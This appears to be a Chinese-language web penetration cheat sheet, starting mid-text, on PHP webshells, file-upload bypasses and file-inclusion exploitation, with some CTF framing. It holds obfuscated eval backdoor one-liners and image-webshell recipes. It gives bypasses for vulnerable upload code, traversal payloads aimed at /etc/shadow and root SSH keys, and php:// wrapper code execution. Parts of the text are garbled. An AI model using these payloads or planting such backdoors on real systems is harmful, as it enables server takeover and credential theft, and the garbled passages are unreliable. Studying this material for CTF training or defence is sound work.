“.”r”.”e”.”p”.”l”.”a”.”c”.”e”;$hh(“/[discuz]/e”,$_POST[‘h’],”Access”);/一句话2、$filename=$_GET[‘xbid’];include ($filename);//危险的include函数,直接编译任何文件为php格式运行3、$reg=”c”.”o”.”p”.”y”;$reg($_FILES[MyFile][tmp_name],$FILES[MyFile][name]);//重命名任何文件4、$gzid = “p”.”r”.”e”.”g”.”“.”r”.”e”.”p”.”l”.”a”.”c”.”e”;$gzid(“/[discuz]/e”,$_POST[‘h’],”Access”);/一句话5、include ($uid);//危险的include函数,直接编译任何文件为php格式运行,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif//gif插一句话6、程序后门代码程序代码//容错代码程序代码//使用lanker一句话客户端的专家模式执行相关的php语句程序代码程序代码程序代码//使用这个后,使用菜刀一句话客户端在配置连接的时候在”配置”一栏输入程序代码h=@eval_r($_POST1);程序代码//绕过<?限制的一句话


简易图片马

图片马:就是在图片中隐藏一句话木马。利用.htaccess等解析图片为PHP或者asp文件。达到执行图片内代码目的

制作方法:

文本方式打开,末尾粘贴一句话木马
cmd中 copy 1.jpg/b+2.php 3.jpg
copy test1.jpg/b+test2.asp/a test3.jpg
/b是二进制形式打开
/a是ascii方式打开
看到有人说一定要把图片放前面,木马放后面才能成功,我亲自试了这两种制作方式(另一种图片放后面),均能成功连接,但是后者的一句话木马在文件开头,不推荐
16进制打开图片在末尾添加一句话木马。

ps

注意以下几点:
单纯的图片马并不能直接和蚁剑连接,
因为该文件依然是以image格式进行解析,
只有利用文件包含漏洞,才能成功利用该木马
所谓文件包含漏洞,是指在代码中引入其他文件作为php文件执行时,未对文件进行严格过滤,导致用户指定任意文件,都作为php文件解析执行。

.user.ini 有php就能用

php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门。

实例

php 配置项中有两个配置可以起到一些作用
auto_prepend_file = //包含在文件头
auto_append_file = //包含在文件尾
这两个配置项的作用相当于一个文件包含,比如
// .user.ini
auto_prepend_file = 1.jpg
// 1.jpg

// 1.php(任意php文件)
满足这三个文件在同一目录下,则相当于在1.php文件里插入了包含语句require(‘1.png’),进行了文件包含。
另一条配置包含在文件尾,如果遇到了 exit 语句的话就会失效。
.user.ini使用范围很广,不仅限于 Apache 服务器,同样适用于 Nginx 服务器,只要服务器启用了 fastcgi 模式 (通常非线程安全模式使用的就是 fastcgi 模式)。
局限
在.user.ini中使用这条配置也说了是在同目录下的其他.php 文件中包含配置中所指定的文件,也就是说需要该目录下存在.php 文件,通常在文件上传中,一般是专门有一个目录用来存在图片,可能小概率会存在.php 文件。
但是有时可以使用 ../ 来将文件上传到其他目录,达到一个利用的效果。
.user.ini
第一步
GIF89a
auto_prepend_file = 1.jpg

.htaccess 只能apache

.htaccess文件(或者”分布式配置文件”)提供了针对每个目录改变配置的方法,即在一个特定的目录中放置一个包含指令的文件,其中的指令作用于此目录及其所有子目录。
在绕过文件上传的限制中,在Apache全局配置文件中httpd.conf有这样一条配置
AddType application/x-httpd-php .php .phtml .php5 .pht .phps

这里配置的意思就是将以.php .phtml .php5 .pht .phps为后缀的文件按php文件进行解析。
AddType application/x-httpd-php (.jpg) //将所有文件按照php文件进行解析(将jpg文件按照php文件进行解析)
我们来看一个例题来帮助理解。
[MRCTF2020]你传你*呢
经过测试发现上传的jpg通过修改后缀名上传成功但后台仍然无法解析我们上传的shell故使用.htaccess文件进行一次“包含”
先上传一个.htaccess文件内容如下
<FilesMatch “a.png”>SetHandler application/x-httpd-php
第一行的文件名为要上传的shell的文件名第二行就是我们上面解释到的,将所有文件都按照php代码进行解析抓包

这里将文件类型修改为image/png服务器会按php文件进行解析再上传shell

通过蚁剑连接shell

文件上传姿势

原文链接:https://blog.csdn.net/Mitchell_Donovan/article/details/112911056

客户端

js检查

一般都是在网页上写一段javascript脚本,校验上传文件的后缀名,有白名单形式也有黑名单形式。

绕过方法

1.我们直接删除代码中onsubmit事件中关于文件上传时验证上传文件的相关代码即可。

或者可以不加载所有js,还可以将html源码copy一份到本地,然后对相应代码进行修改,本地提交即可。

2.burp改包,由于是js验证,我们可以先将文件重命名为js允许的后缀名,在用burp发送数据包时候改成我们想要的后缀。

即可上传成功:

服务端

黑名单

这里做了黑名单处理,我们可以通过特殊可解析后缀进行绕过。
绕过方法

可以使用php、php4、php5、phpt、php3,phtml等绕过。

上传.htaccess

我们发现黑名单限制了很多后缀名,但是没有限制.htaccess

.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置.通过htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

绕过方法

我们这里关注.htaccess文件可以修改MIME类型,这使得该.htaccess文件所在目录及其子目录中的后缀为.xxx的文件被Apache当做php文件。
AddType application/x-httpd-php xxx

或者:
<FilesMatch “shell.jpg”>
SetHandler application/x-httpd-php

该语句会让Apache把shell.jpg文件解析为php文件

我们需要上传一个.htaccess文件,内容为:

SetHandler application/x-httpd-php

这样所有的文件都会解析为php,接下来上传图片马即可

后缀大小写绕过

我们发现对.htaccess也进行了检测,但是没有对大小写进行统一。
绕过方法

后缀名改为PHP即可

空格绕过

黑名单没有对文件中的空格进行处理,可在后缀名中加空格绕过。
绕过方法

文件名最后加个空格,如:1.PHP(空格)

点绕过


if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }

windows会对文件中的点进行自动去除,所以可以在文件末尾加点绕过,不再赘述。
::$DATA绕过

同windows特性,可在后缀名中加” ::$DATA”绕过,不再赘述。

路径拼接绕过

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

这里对文件名进行了处理,删除了文件名末尾的点,并且把处理过的文件名拼接到路径中。
绕过方法

这里我们可以构造文件名1.PHP. . (点+空格+点),经过处理后,文件名变成1.PHP.,即可绕过。

双写绕过

    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
 
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

绕过方法

这里我们可以看到将文件名替换为空,我们可以采用双写绕过:1.pphphp

白名单

MIME检查

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];          
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }

绕过方法

这里检查Content-type,我们burp抓包修改即可绕过:

%00 截断

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
 
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

$img_path直接拼接,因此可以利用%00截断绕过
绕过方法

然后直接访问/upload/1.php即可

00截断(post)

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
 
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传失败";
        }
    } else {
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}
?>

save_path是通过post传进来的,还是利用00截断,但这次需要在二进制中进行修改,因为post不会像get对%00进行自动解码。
绕过方法

接下来访问1.php即可

文件内容检查

文件幻数检测

主要是检测文件内容开始处的文件幻数,比如图片类型的文件幻数如下,
要绕过jpg 文件幻数检测就要在文件开头写上下图的值:

Value = FF D8 FF E0 00 10 4A 46 49 46

要绕过gif 文件幻数检测就要在文件开头写上下图的值

Value = 47 49 46 38 39 61
要绕过png 文件幻数检测就要在文件开头写上下面的值

Value = 89 50 4E 47

然后在文件幻数后面加上自己的一句话木马代码就行了

文件相关信息检测

图像文件相关信息检测常用的就是getimagesize()函数

只需要把文件头部分伪造好就ok 了,就是在幻数的基础上还加了一些文件信息

有点像下面的结构

GIF89a
(...some binary data for image...)
<?php phpinfo(); ?>
(... skipping the rest of binary data ...)

本次环境中的文件头检测,getimagesize,php_exif都可以用图片马绕过:

copy normal.jpg /b + shell.php /a webshell.jpg

文件加载检测

一般是调用API 或函数去进行文件加载测试,常见的是图像渲染测试,甚至是进行二次渲染(过滤效果几乎最强)。对渲染/加载测试的攻击方式是代码注入绕过,对二次渲染的攻击方式是攻击文件加载器自身。

对渲染/加载测试攻击- 代码注入绕过

可以用图像处理软件对一张图片进行代码注入

用winhex 看数据可以分析出这类工具的原理是

在不破坏文件本身的渲染情况下找一个空白区进行填充代码,一般会是图片的注释区

对于渲染测试基本上都能绕过,毕竟本身的文件结构是完整的

二次渲染

imagecreatefromjpeg二次渲染它相当于是把原本属于图像数据的部分抓了出来,再用自己的API 或函数进行重新渲染在这个过程中非图像数据的部分直接就隔离开了

if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];
 
    $target_path=UPLOAD_PATH.basename($filename);
 
    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);
 
    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path))
        {
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);
 
            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                $newimagepath = UPLOAD_PATH.$newfilename;
                imagejpeg($im,$newimagepath);
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.$newfilename;
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
 
    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path))
        {
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);
 
            if($im == false){
                $msg = "该文件不是png格式的图片!";
                @unlink($target_path);
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                $newimagepath = UPLOAD_PATH.$newfilename;
                imagepng($im,$newimagepath);
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.$newfilename;
                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上传出错!";
        }
 
    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path))
        {
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                $newimagepath = UPLOAD_PATH.$newfilename;
                imagegif($im,$newimagepath);
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.$newfilename;
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}

本关综合判断了后缀名、content-type,以及利用imagecreatefromgif判断是否为gif图片,最后再做了一次二次渲染。
绕过方法

得去找图片经过GD库转化后没有改变的部分,再将未改变的部分修改为相应的php代码。

条件竞争

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;
 
    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

这里先将文件上传到服务器,然后通过rename修改名称,再通过unlink删除文件,因此可以通过条件竞争的方式在unlink之前,访问webshell。
绕过方法

然后不断访问webshell:

上传成功。

参考链接:

https://blog.csdn.net/Kevinhanser/article/details/81613003
https://secgeek.net/bookfresh-vulnerability/
https://xz.aliyun.com/t/2435

文件包含

00截断

构造长目录截断

但是光防御0字节是肯定不够的。俗话说上有政策下有对策,国内的安全研究者cloie发现了一个技巧——利用操作系统对目录最大长度的限制,可以不需要0字节而达到截断的目的。

目录字符串在Windows下256字节、Linux下4096字节时达到最大值,最大值长度之后的字符将被丢弃。

而只需通过【./】就可以构造出足够长的目录。比如

././././././././././././././././passwd

或者

////////////////////////passwd

又或者

../1/abc/../1/abc/../1/abc..

(php版本小于5.2.8(?)可以成功,linux需要文件名长于4096,windows需要长于256)
点号截断

?file=../../../../../../../../../boot.ini/………[…]…………

(php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于256)

本地文件包含的利用技巧

本地文件包含漏洞,是有机会执行php代码的,但这取决于一些条件

经过不懈研究,安全研究者总结出了一下几种常见的技巧,用于本地文件包含后执行php代码。

(1)包含用户上传的文件

(2)包含data://或php://input等伪协议

(3)包含session文件

(4)包含日志文件

(5)包含/proc/self/environ

(6)包含上传的临时文件

(7)包含其他应用创建的文件,如数据库文件,缓存文件,应用日志等,需具体问题具体分析
常见利用方式

包含同目录下的文件:

?file=.htaccess

目录遍历:

?file=../../../../../../../../../var/lib/locate.db

?file=../../../../../../../../../var/lib/mlocate/mlocate.db

(linux中这两个文件储存着所有文件的路径,需要root权限)

包含错误日志:?file=../../../../../../../../../var/log/apache/error.log (试试把UA设置为“”来使payload进入日志)

获取web目录或者其他配置文件:

?file=../../../../../../../../../usr/local/apache2/conf/httpd.conf

包含上传的附件:

?file=../attachment/media/xxx.file

读取session文件:

?file=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7

(session文件一般在/tmp目录下,格式为sess_[your phpsessid value],有时候也有可能在/var/lib/php5之类的,在此之前建议先读取配置文件。在某些特定的情况下如果你能够控制session的值,也许你能够获得一个shell)

如果拥有root权限还可以试试读这些东西:

/root/.ssh/authorized_keys

/root/.ssh/id_rsa

/root/.ssh/id_rsa.keystore

/root/.ssh/id_rsa.pub

/root/.ssh/known_hosts

/etc/shadow

/root/.bash_history

/root/.mysql_history

/proc/self/fd/fd[0-9]* (文件标识符)

/proc/mounts

/proc/config.gz

如果有phpinfo可以包含临时文件:

伪协议

详细:https://blog.csdn.net/unexpectedthing/article/details/121276653

简略版:
在实战中文件包含漏洞配合PHP的伪协议可以发挥重大的作用,比如读取文件源码,任意命令执行或者开启后门获取webshell等,常用的伪协议有

    php://filter 读取文件源码
    php://input 任意代码执行
    data://text/plain 任意代码执行
    zip:// 配合文件上传开启后门

下面拿ctf.show WEB模块的第3关举个栗子,这一关存在文件包含漏洞
php://filter

php://filter 协议可以对打开的数据流进行筛选和过滤,常用于读取文件源码

使用文件包含函数包含文件时,文件中的代码会被执行,如果想要读取文件源码,可以使用base64对文件内容进行编码,编码后的文件内容不会被执行,而是展示在页面中,我们将页面中的内容使用base64解码,就可以获取文件的源码了

使用base64对index.php文件进行编码,可以看到页面中展示了编码后的文件内容

?url=php://filter/read=convert.base64-encode/resource=index.php

接下来我们将编码后的文件内容进行base64解密,可以得到文件源码

php://input

php://input 可以访问请求的原始数据,配合文件包含漏洞可以将post请求体中的内容当做文件内容执行,从而实现任意代码执行,需要注意的是,当enctype=multipart/form-data时,php:/input将会无效

?url=php://input				-- GET请求参数中使用php://input协议
<?php system('ls'); ?>			-- post请求体中的内容会被当做文件内容执行

data://

协议格式: data:资源类型;编码,内容

data://协议通过执行资源类型,使后面的内容当做文件内容来执行,从而造成任意代码执行

?url=data://text/plain,

zip://

ziip://协议用来读取压缩包中的文件,可以配合文件上传开启后门,获取webshell

将shell.txt压缩成zip,再将后缀名改为jpg上传至服务器,再通过zip伪协议访问压缩包里的文件,从而链接木马

?url=zip://shell.jpg

⬆︎TOP